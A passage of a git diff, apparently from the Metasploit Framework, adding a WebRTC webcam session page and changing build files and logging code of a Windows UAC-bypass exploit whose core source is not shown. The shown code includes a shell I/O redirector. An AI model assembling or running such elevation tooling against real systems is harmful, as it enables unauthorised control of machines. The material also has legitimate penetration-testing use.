var peer = new RTCPeerConnection(iceServers, optionalArgument);
if (config.MediaStream) peer.addStream(config.MediaStream);
peer.onaddstream = function (event) {
config.onStreamAdded(event.stream);
};
peer.onicecandidate = function (event) {
if (event.candidate)
config.onicecandidate(event.candidate);
};
peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
peer.createAnswer(function (sdp) {
peer.setLocalDescription(sdp);
config.onsdp(sdp);
}, onSdpError, offerAnswerConstraints);
this.peer = peer;
return this;
},
addIceCandidate: function (candidate) {
this.peer.addIceCandidate(new RTCIceCandidate({
sdpMLineIndex: candidate.sdpMLineIndex,
candidate: candidate.candidate
}));
}
};
function merge(mergein, mergeto) {
for (var t in mergeto) {
mergein[t] = mergeto[t];
}
return mergein;
}
window.URL = window.webkitURL || window.URL;
navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
navigator.getUserMedia = function(hints, onsuccess, onfailure) {
if(!hints) hints = {audio:true,video:true};
if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
navigator.getMedia(hints, _onsuccess, _onfailure);
function _onsuccess(stream) {
onsuccess(stream);
}
function _onfailure(e) {
if(onfailure) onfailure(e);
else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
}
};
})();

195
data/webcam/offerer.html Normal file
View File

@ -0,0 +1,195 @@
<html>
<head>
<title>Video session</title>
<style type="text/css">
div.dot1 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 470;
}
div.dot2 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 505;
}
div.dot3 {
position: absolute;
width: 20px;
height: 20px;
margin: 30px auto 0;
border-radius: 50px;
background-color: red;
top: 150;
left: 540;
}
div.windowa {
height: 340px;
width: 420px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 20;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowb {
height: 340px;
width: 420px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 570;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowc {
position: absolute;
top: 400;
left: 60;
height: 50px;
width: 900px;
color: red;
}
div.footer {
position: fixed;
bottom: 0;
width: 100%;
padding: 10px;
}
</style>
<script src="api.js"> </script>
<script>
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket, '=OFFERERID=');
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
video.setAttribute('width', 420);
video.setAttribute('height', 340);
video.setAttribute('controls', false);
video.volume = 0.5;
if (e.userid == 'self') {
document.getElementById("windowb").appendChild(video);
}
else {
document.getElementById("windowa").appendChild(video);
document.getElementById("message").innerHTML = "Session is now active.";
}
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
document.getElementById("message").innerHTML = "The video session has ended.";
};
window.onload = function() {
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</head>
<body>
<div class="windowa" id="windowa">
<b>You peer</b>
</div>
<div class="dot1"></div>
<div class="dot2"></div>
<div class="dot3"></div>
<div class="windowb" id="windowb">
<b>You</b>
</div>
<div class="windowc">
<b>Status:</b><p></p>
<span id="message">Waiting for your peer to join the video session...</span>
</div>
<div class="footer">
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
</div>
</body>
</html>

127
external/source/exploits/bypassuac/CMMN.cpp vendored Normal file → Executable file
View File

@ -8,46 +8,6 @@
#include <windows.h>
#include <WinIOCtl.h>
/*************************************************************************************************/
/*************************************************************************************************/
/*************************************************************************************************/
std::wstring CError::Format( DWORD ErrorCode )
{
return Format( ErrorCode, NULL, NULL );
}
std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API)
{
LPVOID lpvMessageBuffer;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
NULL, ErrorCode,
MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT),
(LPTSTR)&lpvMessageBuffer, 0, NULL);
std::wstring result;
std::wostringstream es(TEXT(""));
es << ErrorCode;
if ( Title )
{ result.append( Title ); result.append( TEXT("\n") ); }
else
{ result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); }
if ( API )
{ result.append( TEXT("API = ") );result.append( API ); result.append( TEXT("\n") ); }
result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") );
if( lpvMessageBuffer )
{ result.append( TEXT("message = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); }
if ( lpvMessageBuffer )
{ LocalFree(lpvMessageBuffer); }
return result;
}
/*************************************************************************************************/
/*************************************************************************************************/
@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage()
CloseHandle( _hMapping );
}
/*************************************************************************************************/
/*************************************************************************************************/
/*************************************************************************************************/
std::wstring CLogger::GetPath()
{
std::wstring path;
TCHAR buffer[MAX_PATH];
if ( GetTempPath( MAX_PATH, buffer ) )
{
path.assign( buffer );
path.append( TEXT("w7e.log") );
}
return path;
}
void CLogger::Reset()
{
DeleteFile( GetPath().c_str() );
}
void CLogger::LogLine( std::wstring& Text )
{
std::wstring tmp( Text.c_str() );
tmp.append( TEXT("\n") );
Log( tmp );
}
void CLogger::LogLine( )
{
Log( TEXT("\n") );
}
void CLogger::LogLine( const TCHAR *Text )
{
if ( Text )
LogLine( std::wstring( Text ) );
}
void CLogger::Log( const TCHAR Char )
{
std::wstring tmp;
tmp.append( &Char, 1 );
Log( tmp );
}
void CLogger::Log( const TCHAR *Text )
{
if ( Text )
Log( std::wstring( Text ) );
}
void CLogger::Log( std::wstring& Text )
{
TCHAR buffer[MAX_PATH];
//
// We have to check it every time to be reflective if user created this file
// while program was runnig.
//
if ( GetModuleFileName( NULL, buffer, MAX_PATH ) )
{
std::wstring dbg( buffer );
dbg.append( TEXT(".debug") );
HANDLE hdbg = CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
if ( INVALID_HANDLE_VALUE == hdbg )
return;
CloseHandle( hdbg );
}
HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") );
if ( mutex ) WaitForSingleObject( mutex , INFINITE );
HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL );
if( INVALID_HANDLE_VALUE != hFile )
{
SetFilePointer( hFile, 0, NULL, FILE_END );
DWORD written;
WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL );
CloseHandle( hFile );
}
if ( mutex ) ReleaseMutex( mutex );
if ( mutex ) CloseHandle( mutex );
}

21
external/source/exploits/bypassuac/Redirector.cpp vendored Normal file → Executable file
View File

@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
assert( Parameter );
TRedirectorPair *pair = reinterpret_cast<TRedirectorPair*>( Parameter );
CLogger::Log( TEXT("Hello redirector thread: ") );
CLogger::LogLine( pair->Name );
CHAR read_buff[2];
DWORD nBytesRead,nBytesWrote;
@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter )
{
if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) )
{
CLogger::LogLine(
CError::Format(
GetLastError(),
pair->Name.c_str(),
TEXT("ReadFile") ) );
error = true && (!pair->KeepAlive);
break;
}
@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) )
{
CLogger::LogLine(
CError::Format(
GetLastError(),
pair->Name.c_str(),
TEXT("WriteConsoleInput") ) );
error = true && (!pair->KeepAlive);
break;
}
@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
{
if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) )
{
CLogger::LogLine(
CError::Format(
GetLastError(),
pair->Name.c_str(),
TEXT("WriteFile") ) );
error = true && (!pair->KeepAlive);
break;
}
@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
}
}
CLogger::Log( TEXT("Bye redirector thread: ") );
CLogger::LogLine( pair->Name );
return EXIT_SUCCESS;
}

13
external/source/exploits/bypassuac/TIOR/TIOR.cpp vendored Normal file → Executable file
View File

@ -20,7 +20,6 @@
int _tmain(int argc, _TCHAR* argv[])
{
CLogger::LogLine(TEXT("TIOR: Hello"));
TRedirectorPair in = {0};
in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[])
CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args );
CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir );
CLogger::LogLine(TEXT("TIOR: shell=")); CLogger::LogLine(shell);
CLogger::LogLine(TEXT("TIOR: args=")); CLogger::LogLine(args);
CLogger::LogLine(TEXT("TIOR: dir=")); CLogger::LogLine(dir);
STARTUPINFO si = {0};si.cb = sizeof(si);
PROCESS_INFORMATION pi = {0};
@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[])
if ( ! created )
{
CLogger::LogLine(
CError::Format(
GetLastError(),
TEXT("TIOR: Unable to create child process"),
TEXT("CreateProcess")));
return EXIT_FAILURE;
}
@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[])
CloseHandle( pi.hThread );
}
CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting..."));
HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ;
//
// Waiting for eny handle to be freed.
// Either some IO thread will die or process will be oevered.
//
WaitForMultipleObjects( 4, waiters, FALSE, INFINITE );
CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes"));
//
// Even if process was overed, we need to be sure that we readed all data from the redirected pipe.
@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[])
// Dont forget to close child process. We need to be sure, if user terminated app which
// reads our redirected data, we terminate the target child app.
//
CLogger::LogLine(TEXT("TIOR: Killing child process"));
TerminateProcess( pi.hProcess, EXIT_FAILURE );
CloseHandle( pi.hProcess );
CLogger::LogLine(TEXT("TIOR: Exit"));
//
// I will not close any handles here - system will terminate and close all by it self.

View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@ -28,23 +28,27 @@
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
@ -63,26 +67,31 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<TargetName>$(ProjectName)32</TargetName>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<TargetName>$(ProjectName)64</TargetName>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)32</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)64</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@ -90,6 +99,8 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@ -99,6 +110,10 @@
<Path>
</Path>
</BuildLog>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
@ -106,11 +121,17 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
@ -121,6 +142,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@ -132,6 +154,10 @@
<Path>
</Path>
</BuildLog>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
@ -142,6 +168,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@ -153,6 +180,10 @@
<Path>
</Path>
</BuildLog>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />

17
external/source/exploits/bypassuac/Win7Elevate.sln vendored Normal file → Executable file
View File

@ -1,6 +1,8 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}"
ProjectSection(SolutionItems) = preProject
Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt
@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4)
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4)
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64

BIN
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp vendored Normal file → Executable file

Binary file not shown.

17
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc vendored Normal file → Executable file
View File

@ -61,22 +61,23 @@ END
#ifdef _DEBUG
// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32
#ifdef _WIN64
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Debug\\Win7ElevateDll64.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Debug\\TIOR64.exe"
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\x64\\TIOR.x64.exe"
#else
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Debug\\Win7ElevateDll32.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Debug\\TIOR32.exe"
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe"
#endif
#else // _DEBUG
#ifdef _WIN64
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Release\\Win7ElevateDll64.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Release\\TIOR64.exe"
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\x64\\TIOR.x64.exe"
#else
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Release\\Win7ElevateDll32.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Release\\TIOR32.exe"
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll"
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\Win32\\TIOR.x86.exe"
#endif
#endif

View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@ -28,23 +28,27 @@
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
@ -63,25 +67,30 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)32</TargetName>
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)64</TargetName>
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)32</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<TargetName>$(ProjectName)64</TargetName>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@ -96,10 +105,12 @@
<FunctionLevelLinking>false</FunctionLevelLinking>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
<BuildLog>
<Path>
@ -119,10 +130,12 @@
<FunctionLevelLinking>false</FunctionLevelLinking>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
<BuildLog>
<Path>
@ -141,12 +154,14 @@
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
